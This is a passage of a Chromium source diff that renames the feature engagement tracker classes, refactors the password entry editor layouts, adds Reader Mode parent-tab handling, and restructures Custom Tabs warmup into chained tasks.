@@ -804,13 +804,13 @@
 
 static void TakeCopyRequests(
     Layer* layer,
-    std::vector<std::unique_ptr<CopyOutputRequest>>* copy_requests) {
+    std::vector<std::unique_ptr<viz::CopyOutputRequest>>* copy_requests) {
   layer->TakeCopyRequests(copy_requests);
 }
 
 static void TakeCopyRequests(
     LayerImpl* layer,
-    std::vector<std::unique_ptr<CopyOutputRequest>>* copy_requests) {
+    std::vector<std::unique_ptr<viz::CopyOutputRequest>>* copy_requests) {
   for (auto& request : layer->test_properties()->copy_requests)
     copy_requests->push_back(std::move(request));
   layer->test_properties()->copy_requests.clear();
@@ -958,7 +958,7 @@
         ->element_id_to_effect_node_index[layer->element_id()] = node_id;
   }
 
-  std::vector<std::unique_ptr<CopyOutputRequest>> layer_copy_requests;
+  std::vector<std::unique_ptr<viz::CopyOutputRequest>> layer_copy_requests;
   TakeCopyRequests(layer, &layer_copy_requests);
   for (auto& it : layer_copy_requests) {
     effect_tree.AddCopyRequest(node_id, std::move(it));
diff --git a/chrome/BUILD.gn b/chrome/BUILD.gn
index 714c994..48efa8e 100644
--- a/chrome/BUILD.gn
+++ b/chrome/BUILD.gn
@@ -480,7 +480,6 @@
       sources = [
         as_invoker_manifest,
       ]
-      type = "dll"
     }
 
     shared_library("chrome_child") {
@@ -1488,7 +1487,6 @@
       as_invoker_manifest,
       common_controls_manifest,
     ]
-    type = "dll"
   }
 
   process_version_rc_template("nacl64_exe_version") {
@@ -1754,6 +1752,7 @@
       "//chrome/child",
       "//chrome/common",
       "//chrome/gpu",
+      "//chrome/profiling",
       "//chrome/renderer",
       "//chrome/utility",
       "//components/safe_browsing_db:safe_browsing_db_mobile",
diff --git a/chrome/VERSION b/chrome/VERSION
index fb57a41..366015f4 100644
--- a/chrome/VERSION
+++ b/chrome/VERSION
@@ -1,4 +1,4 @@
 MAJOR=62
 MINOR=0
-BUILD=3168
+BUILD=3169
 PATCH=0
diff --git a/chrome/android/BUILD.gn b/chrome/android/BUILD.gn
index 88119b99..0598f17 100644
--- a/chrome/android/BUILD.gn
+++ b/chrome/android/BUILD.gn
@@ -191,7 +191,7 @@
     "//components/dom_distiller/content/browser/android:dom_distiller_content_java",
     "//components/dom_distiller/core/android:dom_distiller_core_java",
     "//components/download/public:public_java",
-    "//components/feature_engagement_tracker:feature_engagement_tracker_java",
+    "//components/feature_engagement:feature_engagement_java",
     "//components/gcm_driver/android:gcm_driver_java",
     "//components/gcm_driver/instance_id/android:instance_id_driver_java",
     "//components/invalidation/impl:java",
diff --git a/chrome/android/java/DEPS b/chrome/android/java/DEPS
index d26401f9..6242546 100644
--- a/chrome/android/java/DEPS
+++ b/chrome/android/java/DEPS
@@ -5,7 +5,7 @@
   "+components/crash/android/java",
   "+components/dom_distiller/content/browser/android/java/src/org/chromium/components/dom_distiller/content",
   "+components/dom_distiller/core/android/java/src/org/chromium/components/dom_distiller/core",
-  "+components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker",
+  "+components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement",
   "+components/gcm_driver/android/java/src/org/chromium/components/gcm_driver",
   "+components/location/android/java",
   "+components/minidump_uploader",
diff --git a/chrome/android/java/res/drawable-hdpi/ic_history_grey600_24dp.png b/chrome/android/java/res/drawable-hdpi/ic_history_grey600_24dp.png
deleted file mode 100644
index 6571bf73..0000000
--- a/chrome/android/java/res/drawable-hdpi/ic_history_grey600_24dp.png
+++ /dev/null
Binary files differ
diff --git a/chrome/android/java/res/drawable-hdpi/ic_watch_later_black_24dp.png b/chrome/android/java/res/drawable-hdpi/ic_watch_later_black_24dp.png
new file mode 100644
index 0000000..d7d0500
--- /dev/null
+++ b/chrome/android/java/res/drawable-hdpi/ic_watch_later_black_24dp.png
Binary files differ
diff --git a/chrome/android/java/res/drawable-mdpi/ic_history_grey600_24dp.png b/chrome/android/java/res/drawable-mdpi/ic_history_grey600_24dp.png
deleted file mode 100644
index 41f31a0..0000000
--- a/chrome/android/java/res/drawable-mdpi/ic_history_grey600_24dp.png
+++ /dev/null
Binary files differ
diff --git a/chrome/android/java/res/drawable-mdpi/ic_watch_later_black_24dp.png b/chrome/android/java/res/drawable-mdpi/ic_watch_later_black_24dp.png
new file mode 100644
index 0000000..7472f10
--- /dev/null
+++ b/chrome/android/java/res/drawable-mdpi/ic_watch_later_black_24dp.png
Binary files differ
diff --git a/chrome/android/java/res/drawable-xhdpi/ic_history_grey600_24dp.png b/chrome/android/java/res/drawable-xhdpi/ic_history_grey600_24dp.png
deleted file mode 100644
index f04d215..0000000
--- a/chrome/android/java/res/drawable-xhdpi/ic_history_grey600_24dp.png
+++ /dev/null
Binary files differ
diff --git a/chrome/android/java/res/drawable-xhdpi/ic_watch_later_black_24dp.png b/chrome/android/java/res/drawable-xhdpi/ic_watch_later_black_24dp.png
new file mode 100644
index 0000000..42bcc574
--- /dev/null
+++ b/chrome/android/java/res/drawable-xhdpi/ic_watch_later_black_24dp.png
Binary files differ
diff --git a/chrome/android/java/res/drawable-xxhdpi/ic_history_grey600_24dp.png b/chrome/android/java/res/drawable-xxhdpi/ic_history_grey600_24dp.png
deleted file mode 100644
index 03c7448..0000000
--- a/chrome/android/java/res/drawable-xxhdpi/ic_history_grey600_24dp.png
+++ /dev/null
Binary files differ
diff --git a/chrome/android/java/res/drawable-xxhdpi/ic_watch_later_black_24dp.png b/chrome/android/java/res/drawable-xxhdpi/ic_watch_later_black_24dp.png
new file mode 100644
index 0000000..78cd180
--- /dev/null
+++ b/chrome/android/java/res/drawable-xxhdpi/ic_watch_later_black_24dp.png
Binary files differ
diff --git a/chrome/android/java/res/drawable-xxxhdpi/ic_history_grey600_24dp.png b/chrome/android/java/res/drawable-xxxhdpi/ic_history_grey600_24dp.png
deleted file mode 100644
index 37803b6a..0000000
--- a/chrome/android/java/res/drawable-xxxhdpi/ic_history_grey600_24dp.png
+++ /dev/null
Binary files differ
diff --git a/chrome/android/java/res/drawable-xxxhdpi/ic_watch_later_black_24dp.png b/chrome/android/java/res/drawable-xxxhdpi/ic_watch_later_black_24dp.png
new file mode 100644
index 0000000..89a88a9
--- /dev/null
+++ b/chrome/android/java/res/drawable-xxxhdpi/ic_watch_later_black_24dp.png
Binary files differ
diff --git a/chrome/android/java/res/drawable/history_big.xml b/chrome/android/java/res/drawable/history_big.xml
index 1cfb562e..183a4eb 100644
--- a/chrome/android/java/res/drawable/history_big.xml
+++ b/chrome/android/java/res/drawable/history_big.xml
@@ -6,11 +6,11 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
     tools:targetApi="21"
-    android:height="64dp"
     android:width="64dp"
-    android:viewportHeight="24.0"
-    android:viewportWidth="24.0" >
+    android:height="64dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
     <path
         android:fillColor="@color/google_grey_500"
-        android:pathData="M13,3c-4.97,0 -9,4.03 -9,9L1,12l3.89,3.89 0.07,0.14L9,12L6,12c0,-3.87 3.13,-7 7,-7s7,3.13 7,7 -3.13,7 -7,7c-1.93,0 -3.68,-0.79 -4.94,-2.06l-1.42,1.42C8.27,19.99 10.51,21 13,21c4.97,0 9,-4.03 9,-9s-4.03,-9 -9,-9zM12,8v5l4.28,2.54 0.72,-1.21 -3.5,-2.08L13.5,8L12,8z" />
+        android:pathData="M11.991,3C16.968,3 21,7.032 21,12C21,16.968 16.968,21 11.991,21C7.023,21 3,16.968 3,12C3,7.032 7.023,3 11.991,3ZM12.45,7.5L11.1,7.5L11.1,12.9L15.825,15.735L16.5,14.628L12.45,12.225L12.45,7.5Z" />
 </vector>
diff --git a/chrome/android/java/res/layout/password_entry_editor_copyable_row.xml b/chrome/android/java/res/layout/password_entry_editor_copyable_row.xml
new file mode 100644
index 0000000..9231599
--- /dev/null
+++ b/chrome/android/java/res/layout/password_entry_editor_copyable_row.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2017 The Chromium Authors. All rights reserved.
+ Use of this source code is governed by a BSD-style license that can be
+ found in the LICENSE file. -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <include layout="@layout/password_entry_editor_row_title"
+      android:id="@+id/password_entry_editor_row_title"/>
+
+      <LinearLayout
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal">
+
+            <TextView
+                android:id="@+id/password_entry_editor_row_data"
+                android:textColor="@color/default_text_color"
+                android:layout_width="fill_parent"
+                android:layout_height="wrap_content"
+                android:layout_marginTop="10dp"
+                android:layout_marginStart="15dp"
+                android:textAppearance="?android:attr/textAppearanceMedium" />
+
+            <View
+                android:layout_width="0dp"
+                android:layout_height="0dp"
+                android:layout_weight="1" />
+
+            <ImageButton
+                android:id="@+id/password_entry_editor_copy"
+                android:background="@null"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:layout_gravity="end"
+                android:layout_marginTop="10dp"
+                android:layout_marginEnd="15dp"
+                android:src="@drawable/ic_content_copy"
+                android:contentDescription="@string/password_entry_editor_copy_stored_username"
+                style="?android:attr/buttonStyleSmall" />
+
+        </LinearLayout>
+
+</LinearLayout>
diff --git a/chrome/android/java/res/layout/password_entry_editor_interactive.xml b/chrome/android/java/res/layout/password_entry_editor_interactive.xml
index f758811..b16ef4f 100644
--- a/chrome/android/java/res/layout/password_entry_editor_interactive.xml
+++ b/chrome/android/java/res/layout/password_entry_editor_interactive.xml
@@ -15,60 +15,14 @@
         android:orientation="vertical"
         android:title="@string/password_entry_editor_title">
 
-        <include layout="@layout/password_entry_editor_site_row"/>
+        <include android:id="@+id/url_row"
+          layout="@layout/password_entry_editor_copyable_row"/>
 
-        <TextView
-            android:text="@string/password_entry_editor_username_title"
-            android:textColor="@color/google_blue_700"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="5dp"
-            android:layout_marginStart="15dp"
-            android:gravity="center_vertical"
-            android:textAppearance="?android:attr/textAppearanceMedium" />
+        <include android:id="@+id/username_row"
+          layout="@layout/password_entry_editor_copyable_row"/>
 
-        <LinearLayout
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <TextView
-                android:id="@+id/password_entry_editor_name"
-                android:textColor="@color/default_text_color"
-                android:layout_width="fill_parent"
-                android:layout_height="wrap_content"
-                android:layout_marginTop="10dp"
-                android:layout_marginStart="15dp"
-                android:textAppearance="?android:attr/textAppearanceMedium" />
-
-            <View
-                android:layout_width="0dp"
-                android:layout_height="0dp"
-                android:layout_weight="1" />
-
-            <ImageButton
-                android:id="@+id/password_entry_editor_copy_username"
-                android:background="@null"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_gravity="end"
-                android:layout_marginTop="10dp"
-                android:layout_marginEnd="15dp"
-                android:src="@drawable/ic_content_copy"
-                android:contentDescription="@string/password_entry_editor_copy_stored_username"
-                style="?android:attr/buttonStyleSmall" />
-
-        </LinearLayout>
-
-        <TextView
-            android:text="@string/password_entry_editor_password"
-            android:textColor="@color/google_blue_700"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="5dp"
-            android:layout_marginStart="15dp"
-            android:gravity="center_vertical"
-            android:textAppearance="?android:attr/textAppearanceMedium" />
+        <include android:id="@+id/password_entry_editor_password_title"
+                layout="@layout/password_entry_editor_row_title"/>
 
         <LinearLayout
             android:layout_width="wrap_content"
diff --git a/chrome/android/java/res/layout/password_entry_editor_row_title.xml b/chrome/android/java/res/layout/password_entry_editor_row_title.xml
new file mode 100644
index 0000000..b8eb773
--- /dev/null
+++ b/chrome/android/java/res/layout/password_entry_editor_row_title.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2017 The Chromium Authors. All rights reserved.
+ Use of this source code is governed by a BSD-style license that can be
+ found in the LICENSE file. -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal">
+
+    <TextView
+        android:id="@+id/password_entry_title"
+        android:textColor="@color/google_blue_700"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="5dp"
+        android:layout_marginBottom="10dp"
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:textAppearance="?android:attr/textAppearanceMedium"
+        style="@style/RobotoMediumStyle" />
+
+</LinearLayout>
diff --git a/chrome/android/java/res/layout/password_entry_editor_site_row.xml b/chrome/android/java/res/layout/password_entry_editor_site_row.xml
deleted file mode 100644
index cd5a77f..0000000
--- a/chrome/android/java/res/layout/password_entry_editor_site_row.xml
+++ /dev/null
@@ -1,55 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright 2015 The Chromium Authors. All rights reserved.
- Use of this source code is governed by a BSD-style license that can be
- found in the LICENSE file. -->
-
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content"
-    android:orientation="vertical">
-
-    <TextView
-        android:text="@string/password_entry_editor_site_title"
-        android:textColor="@color/google_blue_700"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:layout_marginTop="10dp"
-        android:layout_marginStart="15dp"
-        android:gravity="center_vertical"
-        android:textAppearance="?android:attr/textAppearanceMedium" />
-
-    <LinearLayout
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:orientation="horizontal">
-
-        <TextView
-            android:id="@+id/password_entry_editor_url"
-            android:textColor="@color/default_text_color"
-            android:layout_width="fill_parent"
-            android:layout_height="wrap_content"
-            android:layout_marginTop="10dp"
-            android:layout_marginStart="15dp"
-            android:textAppearance="?android:attr/textAppearanceMedium" />
-
-        <View
-            android:layout_width="0dp"
-            android:layout_height="0dp"
-            android:layout_weight="1" />
-
-        <ImageButton
-            android:id="@+id/password_entry_editor_copy_site"
-            android:background="@null"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_gravity="end"
-            android:layout_marginTop="10dp"
-            android:layout_marginEnd="15dp"
-            android:src="@drawable/ic_content_copy"
-            android:contentDescription="@string/password_entry_editor_copy_stored_site"
-            style="?android:attr/buttonStyleSmall" />
-    </LinearLayout>
-
-</LinearLayout>
diff --git a/chrome/android/java/res/layout/password_entry_exception.xml b/chrome/android/java/res/layout/password_entry_exception.xml
index f71bcdf0..d4623167 100644
--- a/chrome/android/java/res/layout/password_entry_exception.xml
+++ b/chrome/android/java/res/layout/password_entry_exception.xml
@@ -9,13 +9,14 @@
     android:fillViewport="true" >
 
     <LinearLayout
-        android:id="@+id/password_entry_exception"
+        android:id="@+id/password_entry_editor_interactive"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
         android:orientation="vertical"
         android:title="@string/password_entry_editor_title">
 
-        <include layout="@layout/password_entry_editor_site_row"/>
+        <include android:id="@+id/url_row"
+          layout="@layout/password_entry_editor_copyable_row"/>
     </LinearLayout>
 
 </ScrollView>
diff --git a/chrome/android/java/res/menu/bottom_sheet_nav_menu.xml b/chrome/android/java/res/menu/bottom_sheet_nav_menu.xml
index 5dac9050..f6acfe5 100644
--- a/chrome/android/java/res/menu/bottom_sheet_nav_menu.xml
+++ b/chrome/android/java/res/menu/bottom_sheet_nav_menu.xml
@@ -15,5 +15,5 @@
          android:icon="@drawable/btn_star_filled" />
     <item android:id="@+id/action_history"
          android:title="@string/menu_history"
-         android:icon="@drawable/ic_history_grey600_24dp" />
+         android:icon="@drawable/ic_watch_later_black_24dp" />
 </menu>
\ No newline at end of file
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeActivity.java
index b1a7a81..7adf420 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeActivity.java
@@ -262,7 +262,7 @@
     private CompositorViewHolder mCompositorViewHolder;
     private InsetObserverView mInsetObserverView;
     private ContextualSearchManager mContextualSearchManager;
-    private ReaderModeManager mReaderModeManager;
+    protected ReaderModeManager mReaderModeManager;
     private SnackbarManager mSnackbarManager;
     private DataUseSnackbarController mDataUseSnackbarController;
     private DataReductionPromoSnackbarController mDataReductionPromoSnackbarController;
@@ -975,9 +975,6 @@
      * super depending on whether the tasks should run before or after these ones.
      */
     protected void onDeferredStartup() {
-        if (mDeferredStartupPosted) return;
-
-        mDeferredStartupPosted = true;
         initDeferredStartupForActivity();
         ProcessInitializationHandler.getInstance().initializeDeferredStartupTasks();
         DeferredStartupHandler.getInstance().queueDeferredTasksOnIdleHandler();
@@ -2139,7 +2136,11 @@
             return;
         }
         mDeferredStartupQueued = false;
-        onDeferredStartup();
+
+        if (!mDeferredStartupPosted) {
+            mDeferredStartupPosted = true;
+            onDeferredStartup();
+        }
     }
 
     @Override
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeFeatureList.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeFeatureList.java
index ed9e821..46bbccba 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeFeatureList.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeFeatureList.java
@@ -201,6 +201,7 @@
     public static final String NTP_SNIPPETS_INCREASED_VISIBILITY = "NTPSnippetsIncreasedVisibility";
     public static final String OMNIBOX_SPARE_RENDERER = "OmniboxSpareRenderer";
     public static final String PAY_WITH_GOOGLE_V1 = "PayWithGoogleV1";
+    public static final String READER_MODE_IN_CCT = "ReaderModeInCCT";
     public static final String SERVICE_WORKER_PAYMENT_APPS = "ServiceWorkerPaymentApps";
     public static final String SITE_NOTIFICATION_CHANNELS = "SiteNotificationChannels";
     public static final String SPANNABLE_INLINE_AUTOCOMPLETE = "SpannableInlineAutocomplete";
@@ -211,6 +212,8 @@
     public static final String VR_CUSTOM_TAB_BROWSING = "VrCustomTabBrowsing";
     public static final String VR_SHELL = "VrShell";
     public static final String WEB_PAYMENTS = "WebPayments";
+    public static final String WEB_PAYMENTS_METHOD_SECTION_ORDER_V2 =
+            "WebPaymentsMethodSectionOrderV2";
     public static final String WEB_PAYMENTS_MODIFIERS = "WebPaymentsModifiers";
     public static final String WEB_PAYMENTS_SINGLE_APP_UI_SKIP = "WebPaymentsSingleAppUiSkip";
     public static final String WEBVR_AUTOPRESENT = "WebVrAutopresent";
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
index 24a286a..1f9c0fe 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
@@ -65,10 +65,11 @@
 import org.chromium.chrome.browser.device.DeviceClassManager;
 import org.chromium.chrome.browser.document.ChromeLauncherActivity;
 import org.chromium.chrome.browser.document.DocumentUtils;
+import org.chromium.chrome.browser.dom_distiller.ReaderModeManager;
 import org.chromium.chrome.browser.download.DownloadUtils;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
-import org.chromium.chrome.browser.feature_engagement_tracker.ScreenshotMonitor;
-import org.chromium.chrome.browser.feature_engagement_tracker.ScreenshotMonitorDelegate;
+import org.chromium.chrome.browser.feature_engagement.ScreenshotMonitor;
+import org.chromium.chrome.browser.feature_engagement.ScreenshotMonitorDelegate;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.firstrun.FirstRunActivity;
 import org.chromium.chrome.browser.firstrun.FirstRunFlowSequencer;
 import org.chromium.chrome.browser.firstrun.FirstRunSignInProcessor;
@@ -122,9 +123,9 @@
 import org.chromium.chrome.browser.widget.bottomsheet.BottomSheetMetrics;
 import org.chromium.chrome.browser.widget.emptybackground.EmptyBackgroundViewWrapper;
 import org.chromium.chrome.browser.widget.textbubble.ViewAnchoredTextBubble;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.FeatureConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.content.browser.ContentVideoView;
 import org.chromium.content.browser.ContentViewCore;
 import org.chromium.content.browser.crypto.CipherFactory;
@@ -784,9 +785,8 @@
                 mLayoutManager.hideOverview(false);
             }
 
-            final FeatureEngagementTracker tracker =
-                    FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                            Profile.getLastUsedProfile());
+            final Tracker tracker =
+                    TrackerFactory.getTrackerForProfile(Profile.getLastUsedProfile());
             tracker.addOnInitializedCallback(new Callback<Boolean>() {
                 @Override
                 public void onResult(Boolean result) {
@@ -802,8 +802,7 @@
         }
     }
 
-    private void showFeatureEngagementTextBubbleForDownloadHome(
-            final FeatureEngagementTracker tracker) {
+    private void showFeatureEngagementTextBubbleForDownloadHome(final Tracker tracker) {
         if (!tracker.shouldTriggerHelpUI(FeatureConstants.DOWNLOAD_HOME_FEATURE)) return;
 
         ViewAnchoredTextBubble textBubble = new ViewAnchoredTextBubble(this,
@@ -1864,6 +1863,21 @@
                     null,
                     intent);
         } else {
+            // Check if the tab is being created from a Reader Mode navigation.
+            if (ReaderModeManager.isEnabled(this)
+                    && ReaderModeManager.isReaderModeCreatedIntent(intent)) {
+                Bundle extras = intent.getExtras();
+                int readerParentId = IntentUtils.safeGetInt(
+                        extras, ReaderModeManager.EXTRA_READER_MODE_PARENT, Tab.INVALID_TAB_ID);
+                extras.remove(ReaderModeManager.EXTRA_READER_MODE_PARENT);
+                // Set the parent tab to the tab that Reader Mode started from.
+                if (readerParentId != Tab.INVALID_TAB_ID && mTabModelSelectorImpl != null) {
+                    return getCurrentTabCreator().createNewTab(
+                            new LoadUrlParams(url, PageTransition.LINK), TabLaunchType.FROM_LINK,
+                            mTabModelSelectorImpl.getTabById(readerParentId));
+                }
+            }
+
             return getTabCreator(false).launchUrlFromExternalApp(url, referer, headers,
                     externalAppId, forceNewTab, intent, mIntentHandlingTimeMs);
         }
@@ -2196,15 +2210,12 @@
         // Second part of the check to determine whether to trigger help UI
         if (isInOverviewMode() || !DownloadUtils.isAllowedToDownloadPage(getActivityTab())) return;
 
-        FeatureEngagementTracker tracker =
-                FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                        Profile.getLastUsedProfile());
+        Tracker tracker = TrackerFactory.getTrackerForProfile(Profile.getLastUsedProfile());
         tracker.notifyEvent(EventConstants.SCREENSHOT_TAKEN_CHROME_IN_FOREGROUND);
         maybeShowFeatureEngagementTextBubbleForDownloadPage(tracker);
     }
 
-    private void maybeShowFeatureEngagementTextBubbleForDownloadPage(
-            final FeatureEngagementTracker tracker) {
+    private void maybeShowFeatureEngagementTextBubbleForDownloadPage(final Tracker tracker) {
         if (!tracker.shouldTriggerHelpUI(FeatureConstants.DOWNLOAD_PAGE_SCREENSHOT_FEATURE)) return;
 
         ViewAnchoredTextBubble textBubble =
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
index 6b23f15..cd5c808 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabAppMenuPropertiesDelegate.java
@@ -91,7 +91,7 @@
                 requestDesktopSiteVisible = false;
                 addToHomeScreenVisible = false;
             } else if (mUiType == CUSTOM_TABS_UI_TYPE_PAYMENT_REQUEST) {
-                // Only the icon row and 'find in page' are shown for openning payment request UI
+                // Only the icon row and 'find in page' are shown for opening payment request UI
                 // from Chrome.
                 openInChromeItemVisible = false;
                 requestDesktopSiteVisible = false;
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
index 6e950fbd..d9006648 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
@@ -141,7 +141,7 @@
     private boolean mIsOpenedByChrome;
 
     /**
-     * Add extras to customize menu items for openning payment request UI custom tab from Chrome.
+     * Add extras to customize menu items for opening payment request UI custom tab from Chrome.
      */
     public static void addPaymentRequestUIExtras(Intent intent) {
         intent.putExtra(EXTRA_UI_TYPE, CUSTOM_TABS_UI_TYPE_PAYMENT_REQUEST);
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabsConnection.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabsConnection.java
index 096ecad..a40a623 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabsConnection.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabsConnection.java
@@ -44,6 +44,7 @@
 import org.chromium.chrome.browser.IntentHandler;
 import org.chromium.chrome.browser.WarmupManager;
 import org.chromium.chrome.browser.device.DeviceClassManager;
+import org.chromium.chrome.browser.init.ChainedTasks;
 import org.chromium.chrome.browser.init.ChromeBrowserInitializer;
 import org.chromium.chrome.browser.metrics.PageLoadMetrics;
 import org.chromium.chrome.browser.net.spdyproxy.DataReductionProxySettings;
@@ -188,11 +189,14 @@
     private final AtomicBoolean mWarmupHasBeenFinished = new AtomicBoolean();
     private ExternalPrerenderHandler mExternalPrerenderHandler;
     private boolean mForcePrerenderForTesting;
+    private volatile Runnable mWarmupFinishedCallback;
 
     // Conversion between native TimeTicks and SystemClock.uptimeMillis().
     private long mNativeTickOffsetUs;
     private boolean mNativeTickOffsetUsComputed;
 
+    private ChainedTasks mWarmupTasks;
+
     /**
      * <strong>DO NOT CALL</strong>
      * Public to be instanciable from {@link ChromeApplication}. This is however
@@ -275,9 +279,6 @@
             System.exit(-1);
         }
         ChildProcessLauncherHelper.warmUp(context);
-        ChromeBrowserInitializer.initNetworkChangeNotifier(context);
-        WarmupManager.getInstance().initializeViewHierarchy(
-                context, R.layout.custom_tabs_control_container, R.layout.custom_tabs_toolbar);
     }
 
     public boolean warmup(long flags) {
@@ -309,48 +310,86 @@
         if (!isCallerForegroundOrSelf()) return false;
         mClientManager.recordUidHasCalledWarmup(Binder.getCallingUid());
         final boolean initialized = !mWarmupHasBeenCalled.compareAndSet(false, true);
-        // The call is non-blocking and this must execute on the UI thread, post a task.
-        ThreadUtils.postOnUiThread(new Runnable() {
+
+        // The call is non-blocking and this must execute on the UI thread, post chained tasks.
+        mWarmupTasks = new ChainedTasks();
+
+        // Ordering of actions here:
+        // 1. Initializing the browser needs to be done once, and first.
+        // 2. Creating a spare renderer takes time, in other threads and processes, so start it
+        //    sooner rather than later. Can be done several times.
+        // 3. UI inflation has to be done for any new activity.
+        // 4. Initializing the LoadingPredictor is done once, and triggers work on other threads,
+        //    start it early.
+        // 5. RequestThrottler first access has to be done only once.
+
+        // (1)
+        if (!initialized) {
+            mWarmupTasks.add(new Runnable() {
+                @Override
+                public void run() {
+                    TraceEvent.begin("CustomTabsConnection.initializeBrowser()");
+                    initializeBrowser(mContext);
+                    ChromeBrowserInitializer.initNetworkChangeNotifier(mContext);
+                    mWarmupHasBeenFinished.set(true);
+                    TraceEvent.end("CustomTabsConnection.initializeBrowser()");
+                }
+            });
+        }
+
+        // (2)
+        if (mayCreateSpareWebContents && mSpeculation == null) {
+            mWarmupTasks.add(new Runnable() {
+                @Override
+                public void run() {
+                    TraceEvent.begin("CreateSpareWebContents");
+                    WarmupManager.getInstance().createSpareWebContents();
+                    TraceEvent.end("CreateSpareWebContents");
+                }
+            });
+        }
+
+        // (3)
+        mWarmupTasks.add(new Runnable() {
             @Override
             public void run() {
-                try {
-                    TraceEvent.begin("CustomTabsConnection.warmupInternal");
-                    // Ordering of actions here:
-                    // 1. Initializing the browser needs to be done once, and first.
-                    // 2. Creating a spare renderer takes time, in other threads and processes, so
-                    //    start it sooner rather than later. Can be done several times.
-                    // 3. Initializing the LoadingPredictor is done once, and triggers
-                    //    work on other threads, start it early.
-                    // 4. RequestThrottler first access has to be done only once.
-
-                    // (1)
-                    if (!initialized) initializeBrowser(mContext);
-
-                    // (2)
-                    if (mayCreateSpareWebContents && mSpeculation == null) {
-                        WarmupManager.getInstance().createSpareWebContents();
-                    }
-
-                    if (!initialized) {
-                        // (3)
-                        Profile profile = Profile.getLastUsedProfile();
-                        new LoadingPredictor(profile).startInitialization();
-
-                        // (4)
-                        // The throttling database uses shared preferences, that can cause a
-                        // StrictMode violation on the first access. Make sure that this access is
-                        // not in mayLauchUrl.
-                        RequestThrottler.loadInBackground(mContext);
-                    }
-                } finally {
-                    TraceEvent.end("CustomTabsConnection.warmupInternal");
-                }
-                mWarmupHasBeenFinished.set(true);
+                TraceEvent.begin("InitializeViewHierarchy");
+                WarmupManager.getInstance().initializeViewHierarchy(mContext,
+                        R.layout.custom_tabs_control_container, R.layout.custom_tabs_toolbar);
+                TraceEvent.end("InitializeViewHierarchy");
             }
         });
+
+        if (!initialized) {
+            mWarmupTasks.add(new Runnable() {
